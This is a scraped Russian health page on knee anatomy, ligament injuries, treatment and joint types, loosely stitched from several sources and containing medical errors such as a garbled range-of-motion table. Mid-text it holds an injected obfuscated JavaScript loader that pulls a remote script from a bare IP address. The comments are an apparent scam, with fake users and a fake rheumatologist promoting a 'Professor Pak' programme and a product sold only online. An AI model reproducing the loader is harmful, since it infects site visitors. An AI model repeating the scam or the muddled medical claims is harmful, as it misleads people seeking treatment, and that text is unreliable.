Анатомия коленного сустава человека мышцы

И вот какой бесценный совет по восстановлению больных суставов дал Профессор Пак:

Анатомия коленного сустава в организме человека

Колено, хотя его анатомия известна давно, очень сложно смоделировать и воспроизвести динамику. В коленный сустав входит большое количество составляющих элементов, выполняющих различные функции. Так коленный сустав образован 3 костями:

  • большеберцовой;
  • бедренной;
  • надколенником (коленной чашечкой).

Коленная чашечка располагается в толще связок и стабилизирует сустав при сгибаниях/разгибаниях, предотвращая смещение костей вбок. Дополнительная устойчивость коленного сустава обеспечивается связками:

  • поперечной и крестовидными, расположенными внутри коленного сустава;
  • боковыми – больше- и малоберцовой;
  • задними – дугообразной, подколенной, поддерживающими (2 боковыми и 1 центральной) и надколенника.

Синовиальные сумки также представлены в большем, чем в других суставах, количестве. Костное сочленение окружает околосуставная капсула, но и у сухожилий имеются собственные над-, меж- и около сухожильные синовиальные сумки. Анатомия колена дополнительно осложнена тем, что сустав составлен разными по форме поверхностями:

  • круглыми головками большеберцовой и бедренной костей;
  • плоской – надколенника.

Так как колено испытывает огромные осевые нагрузки, то для защиты поверхностей костей сустава имеются мениски – своеобразные амортизаторы из хрящевой ткани. Мениск имеет форму полумесяца и при движении изменяет свою форму. Вместе со связками и околосуставными капсулами они стабилизируют весь коленный сустав. Дополнительную защиту сустава обеспечивает складчатая внутренняя синовиальная мембрана. Жировая ткань в ней выполняет буферную роль.

Колено совершает движение по 2 осям:

  • во фронтальной – разгибание/сгибание;
  • по вертикальной – вращение.

Двигательные функции коленного сустава обеспечены различными группами мышц – сгибателями и разгибателями. Сложная анатомия, кинематика и динамика колена обуславливает высокую частоту его травмирований и заболеваний.

Мышечная система, иннервация и кровеносные сосуды

Мышечный аппарат коленного сустава состоит из мышц, которые обеспечивают сгибание-разгибание и вращение. Мышцы-разгибатели расположены на передней поверхности бедра расположены мышцы-разгибатели, позволяют выполнять движения во время ходьбы. При их сокращении нога сгибается в колене. Наибольшая функциональная нагрузка ложится на квадрицепс бедра. А наколенник в гуще сухожилий служит дополнительной точкой опоры. Мышцы-сгибатели расположены на задней поверхности бедра и их сокращение позволяет выполнить сгибание ноги в колене.

Иннервация коленного сустава происходит за счет ответвлений крестцового и поясничного ответвлений, а также отделов седалищного и бедренного нервов. На задней поверхности коленного сустава расположен подколенный нерв, который является наиболее крупным. Он входит в структуру седалищного нерва, который обеспечивает чувствительность и иннервацию в области голени и стопы. Огибая верхний край коленного сустава, подколенный нерв делиться на малоберцовый и большеберцовый нервы. Малоберцовый проходит по поверхности головки малоберцовой кости и выходит на переднюю поверхность голени. Большеберцовый располагается на задней части голени. При травматизации коленного сустава эти нервы повреждаются первыми.

Мышечная система, иннервация и кровеносные сосуды

Позади коленного сустава в толще жировой клетчатки подколенной ямки расположены магистральные кровеносные сосуды. Это подколенная артерия и вена, благодаря им обеспечивается кровоток голени и стопе. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Функции коленного сустава

Движения коленного сочленения делаются в таких плоскостях, как:

  • вертикальная — разгибание и сгибание,
  • фронтальная — выведение,
  • горизонтальная — физиологические движения делаются исключительно при согнутой ноге,
  • ротация.

Амплитуда подъема, представлена в таблице:

Тип движения Норма угла наклона, °
Сгиб 40
Разгибание 180
Ротация 40

Колено работает только при слаженном функционировании всех элементов. Динамическим стабилизатором надколенника выступает квадрицепс, который разгибает ногу. Полусухожильная и полуперепончатая мышца предупреждает развитие синдрома переднего выдвижного ящика, защищает мениски и заднюю область фиброзной сумки. Хрящевые диски плотно сращены со связками, что усиливает капсулу на задней стороне и препятствует чрезмерному воздействию вращательных усилий. Крестовидные связки, производящие движения во фронтальной плоскости, обеспечивают качение и скольжение при сгибе. Медиальная боковая связка стабилизирует колено при отведении, а латеральная предупреждает чрезмерное расширение суставных щелей.

Читайте также:  Протез тазобедренного сустава, как выбрать лучший

Болезни связок

Существуют такие виды болезней связок коленного сустава:

  • воспаление (тендинит);
  • растяжение;
  • разрыв (полный, частичный, отрыв от места крепления).

Случаются также комбинированные повреждения связок. Сочетание дегенеративных и разрушительных процессов, локализированных в местах прикрепления связок, называется энтезопатией. Эта болезнь возникает при запущенности воспалительных процессов, которые приводят к дегенеративным изменениям связок.

Энтезопатия сопровождается такими симптомами:

  • тугоподвижность сустава;
  • постоянные боли ноющего характера;
  • повышение температуры над поврежденной областью;
  • боль при напряжении мышц;
  • резкая боль при ощупывании коленной области.

Диагностика энтезопатии осуществляется с помощью узи. В основном энтезопатия лечится медикаментозно и дополнительно с применением физиотерапевтических процедур. При несвоевременном лечении энтезопатия может привести к дегенеративному изменению связок и сухожильных волокон.

Болезни связок

Разрывание связок сопровождается следующими симптомами:

  • резкая, острая боль;
  • опухлость колена;
  • гемартроз, который проявляется покраснением, синюшностью колена;
  • местное повышение температуры;
  • ограничение двигательных способностей, иногда из-за большой боли – невозможностью опереться на поврежденную ногу;
  • полное разрывание сопровождается нестабильностью сустава.

Боль при повреждениях связок устраняется путем прикладывания холодного компресса к поврежденному месту. Если боль не проходит, можно воспользоваться нестероидными противовоспалительными средствами (Ибупрофен, Индометацин, Диклофенак, Вольтарен).

При частичных надрывах, разрывах, которые не влекут за собой нестабильность сустава, — связки обычно срастаются сами. Хуже всего срастется задняя крестообразная связка, практически никогда не срастается сама надколенная связка.

Повреждения связок колена всегда сопровождаются устойчивой, иногда даже острой, болью

Вывод

В течение жизни человека ухудшается состав базового основания хряща. Причиной тому служит потеря клетками-хондроцитами восстановительных свойств. Кроме физиологического старения, колено подвержено травмированию. На фоне этого могут возникать тонкие трещинки внутри хряща, способные переходить к развитию разрушающих процессов в волокнах коллагена. В результате этого возможно развитие некрозов.

Строение колена таково, что оно способно выдерживать значительные нагрузки.

Это интересно! Как правильно писать доклад на тему: Здоровый образ жизни

Травмы надколенника

Стоит рассмотреть несколько случаев, представленных выше. Одна из них –  сломанная коленная чашечка . Это повреждение чаще всего возникает в результате прямой травмы, т. Е. Сильного удара или падения на коленную чашечку. Также может быть перелом от перегрузки (обычно наблюдается у маленьких детей) и травматический вывих коленной чашечки. Переломы располагаются в верхней или нижней части надколенника, либо на латеральном или медиальном крае надколенника. Такое  повреждение надколенника  можно определить по компрессионной боли, а также по припухлости, расположенной над коленом, иногда также по внутрисуставной гематоме. Пациент часто не может выпрямить ногу в колене. Иногда  смещается коленная чашечка в колене .

Если такое смещение происходит без разрушения, то так называемый латерализация надколенника . Эта травма колена обычно поражает активных людей. Проявляется болью в коленной чашечке в передней части, затруднением движения коленной чашечки внутрь, проблемами с подъемом по лестнице, выполнением приседаний, хрустом надколенника при движении, ощущением проскока коленной чашечки.

Прочитайте так же: Х-хромосома

Еще одна  травма коленной чашечки, о которой упоминалось ранее, – это вывих этой кости. При этой травме коленная чашечка выходит из борозды между мыщелками бедренной кости и смещается в сторону. Вывих коленной чашечки может закончиться резким поворотом ноги или сильным ударом прямо по колену.

Лечение и восстановление поврежденных сухожилий

Существует два возможных способа лечения поврежденных связок:

  • покой;
  • хирургическое вмешательство.

Выбор того или другого зависит от человека. Как правило, молодые люди и спортсмены решаются на операцию, в то время как малоактивные люди и пожилые предпочитают не прибегать к хирургическому вмешательству, в виду очень длинного периода реабилитации. Действительно, после такого вмешательства связка должна стабилизироваться. Кроме того, она становится короче, тоньше и слабее.

Недостаток же лечения покоем заключается в том, что если связка не заживет сама, то сустав не сможет вернуть себе физиологически нормальное движение, что, в свою очередь, приведет к раннему развитию артроза. Также увеличивается риск вывихов, ввиду меньшей стабильности сустава.

Без хирургического вмешательства

Без хирургического вмешательства физиотерапия состоит в выполнении программы упражнений, количество которых увеличивается постоянно и постепенно, для устранения беспокойства и скованности сустава, улучшая условия его движения. Естественно, если помимо разрыва связок имеет место повреждение мениска и/или хрящевой ткани, то программа физиотерапии будет другой.

Читайте также:  Артрит психосоматика — причины развития, симптомы и лечение

Протокол рекомендует снизить вес тела на поврежденный сустав благодаря использованию наколенников, ортопедических подпорок или трости. Изначально выполняют изометрические сокращения квадрицепса и сгибательных мышц ноги. Также необходимо как можно раньше начинать выполнять пассивные движения, не переходя болевой порог.

После того как опухоль спадет, большое внимание следует уделять мышечному усилию мускулов задней части бедра, которые обеспечивают стабильность сустава. Усилия начинают прилагать, применяя концентрические упражнения, и постепенно переходят к реализации эксцентрических упражнений. По мере снижения болевых ощущений, необходимо выполнять программу упражнений, которые состоят в выполнении некоторых поз в условиях нестабильного равновесия, таким образом, улучшается постуральный контроль.

Отметим, что лишь третья часть пациентов полностью восстанавливается, все остальные испытывают дегенерацию движений сустава в течение всего года после получения травмы.

С помощью операции

Если пациент решается на хирургическое вмешательство, тогда операция по восстановлению перекрестной связки выполняется за счет трансплантации части связок, например, из донорского банка, то есть путем искусственного сшивания. До проведения операции рекомендуется пациентам выполнить цикл физиотерапии, целью которого является снижение острой боли и опухоли коленного сустава, так как невозможно оперировать сильно воспаленное колено.

Целями хирургического вмешательства являются следующие:

  • восстановление амплитуды движений сустава;
  • укрепление мышц бедра и достижение удовлетворительного физического состояния.

Если не выполнить операцию порванных перекрестных связок, то может развиться ранний артроз коленного сустава, и само колено не будет иметь достаточной стабильности.

Примечания

  1. ↑Анатомия человека. — 9-е изд., перераб. и доп. — М.: Медицина, 1985. — С. 61-63. — 672 с. — (Учебная литература для студентов медицинских институтов). — 110 000 экз.
  2. ↑ 123456789Анатомия человека / Привес М. Г., Лысенков Н. К. — 9-е изд., перераб. и доп. — М.: Медицина, 1985. — С. 63—66. — 672 с. — (Учебная литература для студентов медицинских институтов). — 110 000 экз.
  1. ↑ Анатомия человека. — 9-е изд., перераб. и доп. — М.: Медицина, 1985. — С. 61-63. — 672 с. — (Учебная литература для студентов медицинских институтов). — 110 000 экз.
  2. ↑ Виды соединений костей
  3. ↑ Анатомия человека / Привес М. Г., Лысенков Н. К. — 9-е изд., перераб. и доп. — М.: Медицина, 1985. — С. 63—66. — 672 с. — (Учебная литература для студентов медицинских институтов). — 110 000 экз.

Комментарии:

  • megan92 2 недели назад Подскажите, кто как борется с болью в суставах? Жутко болят колени(( Пью обезболивающие, но понимаю, что борюсь со следствием, а не с причиной… Нифига не помогают!
  • Дарья 2 недели назад Несколько лет боролась со своими больными суставами пока не прочла эту статейку, какого-то китайского врача. И уже давно забыла про «неизлечимые» суставы. Такие вот дела
  • megan92 13 дней назад Дарья, киньте ссылку на статью — если не сложно! P.S. Сил моих уже нет… ))
  • Дарья 12 дней назад megan92, так я же в первом своем комменте написала) Ну продублирую, мне не сложно, ловите — ссылка на статью профессора.
  • Соня 10 дней назад А это не развод? Почему в Интернете продают а?
  • юлек26 10 дней назад Соня, вы в какой стране живете?.. В интернете продают, потому-что магазины и аптеки ставят свою наценку зверскую. К тому-же оплата только после получения, то есть сначала посмотрели, проверили и только потом заплатили. Да и в Интернете сейчас все продают — от одежды до телевизоров, мебели и машин
  • Ответ Редакции 10 дней назад Соня, здравствуйте. Данный препарат для лечения суставов действительно не реализуется через аптечную сеть во избежание завышенной цены. На сегодняшний день заказать можно только на Официальном сайте. Будьте здоровы!
  • Соня 10 дней назад Извиняюсь, не заметила сначала информацию про наложенный платеж. Тогда ладно! Все в порядке — точно, если оплата при получении. Огромное Спасибо!!))
  • Margo 8 дней назад А кто-нибудь пробовал народные методы лечения суставов? Бабушка таблеткам не доверяет, мучается от боли бедная уже много лет…
  • Андрей Неделю назад Каких только народных средств я не пробовал, ничего не помогло, только хуже стало…
  • Екатерина Неделю назад Пробовала пить отвар из лаврового листа, толку никакого, только желудок испортила себе!! Не верю я больше в эти народные методы — полная чушь!!
  • Мария 5 дней назад Недавно смотрела передачу по первому каналу, там тоже про эту Федеральную программу по борьбе с заболеваниями суставов говорили. Её ещё возглавляет какой-то известный китайский профессор. Говорят, что нашли способ навсегда вылечить суставы и спину, причем государство полностью финансирует лечение для каждого больного
  • Елена (врач ревматолог) 6 дней назад Да, действительно, на данный момент проходит программа, в которой каждый житель РФ и СНГ сможет полностью вылечить больные суставы. И да — курирует программу лично профессор Пак.
  • Александра 5 дней назад Огромное Вам Спасибо!! Я уже приняла участие в этой программе. Результат есть, но рассказывать не буду, чтоб не сглазить)) Просто спасибо!!!
  • Максим 4 дня назад кто Диклофенак пробовал? как эффект? помогло?
  • Татьяна Позавчера Практически не помогло. Выкинутые деньги! Диклофенак — Не советую.
  • Елена (врач ревматолог) Вчера Максим, рекомендую вам принять участие в Федеральной программе по борьбе с заболеваниями суставов, под руководством профессора Пака, На дворе 2019 год — любые суставы можно вылечить!
  • Максим Сегодня Звучит неплохо! Неужели дошел прогресс и до нашей страны…
Читайте также:  Воспаление лучезапястного сустава лечение

БОЛЕЗНЬ ШЛЯТТЕРА

Болезнь Шляттера является заболеванием, которое характеризуется возникновением дистрофического поражения (омертвления) бугристости большеберцовой кости. Большеберцовая кость представляет собой длинную трубчатую кость голени, верхняя часть которой, соединяясь с бедренной костью, образует коленный сустав. В том случае, когда сухожилие подколенной чашечки отходит от мощных мышц передней части бедра и оказывает постоянное тянущее давление на коленный сустав, — происходит преждевременный износ тканей бугра большеберцовой кости и, таким образом, возникает болезнь Шляттера…

БОЛЕЗНЬ ШЛЯТТЕРА
БОЛЕЗНЬ ШЛЯТТЕРА

Какие бывают суставы и где они располагаются

В медицинских кругах о них говорят, как о функциональных и структурных.

Функциональные

Articulatio, составляющие данную группу, различаются по объему совершаемых движений:

  • Синартрозы (неподвижные). Место расположения — скелет туловища и череп. Они защищают внутренние органы от повреждений.
  • Амфиартрозы (слабоподвижные). Выполняют аналогичные функции, что и синартрозы. Место расположения — череп, скелет туловища.
  • Диартрозы (подвижные с синовиальной оболочкой). Осуществляют движение в широком диапазоне. Место расположения — верхние и нижние конечности.

Структурные

Данная группа подразделяется:

Какие бывают суставы и где они располагаются
  1. Волокнистые, состоящие из волокнистой ткани без щелевидного, герметически закрытого пространства, неподвижные. Среди них:
  2. Гвоздевидные, входящие, словно стержень, вглубь. К ним относятся зубы, закреплённые в костных тканях челюсти.
  3. Синдесмозные — малоподвижные волокнистые плотные образования из соединительной ткани между локтевой и парной костью в составе предплечья.
  4. Шовные — неподвижные швы черепа.
  5. Синхондрозные — неподвижные хрящевые соединения у основания черепа. Являются эпифизарными пластинами роста длинных костей. Склонны к окостенению. Например: сустав объединяющий самую широкую часть грудной кости с первой дугообразной плоской костью.
  6. Синовиальные — подвижные. Их щелевидное пространство заполнено синовиальной жидкостью, выполняющей роль смазки. Суставной хрящ покрывает кости сверху. Капсула вместе со связками переходит в надкостницу. Наружно-боковая связка соединяет кисть и кость.

Подвижные соединения с синовиальной оболочкой подразделяются на:

  • Плоский (скользящий): крестцово-подзвдошное соединение. сочленение между акромионом и ключицей. отдел верхних конечностей, образованных восемью костями. ладыжки. межпозвонки.
  • Эллипсовидный (предплечье и кисть). Atriculatio напоминает форму эллипса. За счёт его осуществляются круговые вращения.
  • Седловидный. Выпуклая форма в сочетании с вогнутой, позволяет осуществлять больший диапазон движения. Такую форму имеет пястно-запястный сустав на большом пальце.
  • Мыщелковый. Шарообразная оконечность кости вставлена в углубление другой кости. Отвечает за сгибательные, разгибательные, вращающие движения. К мыщелковым относятся пястно-фаланговые сочленения пальцев, кроме боковых.
  • Шаровой (плечевой). Выпуклая головка в виде шара, вставленная в вогнутую суставную впадину. Считается самым свободным соединением. Выполняет трехосное движение.
  • Блоковидный. Поверхность цилиндрическая, расположен во фронтальной плоскости перпендикулярно сагиттальной и сегментальной плоскости. Пример: межфаланговые, локтевые костные соединения.
  • Шарнирный. Цилиндрическая поверхность, выпячивающаяся и вращающаяся по кольцу, которое образовано связками. Шарнирным является локтевой.
  • Симфизарные. Поверхности устланы гиалиновыми хрящами, сросшимися с волокнистыми. Является малоподвижным. Пример: межпозвонковые суставы, лонное сочленение.
  • Хрящевые. Не имеют полости. Основной элемент — гиалиновый хрящ или волокнистый диск. Относятся к малоподвижным или неподвижным.

Каждый articulatio выполняет значимую функцию, что содействует слаженной работе опорно-двигательного аппарата.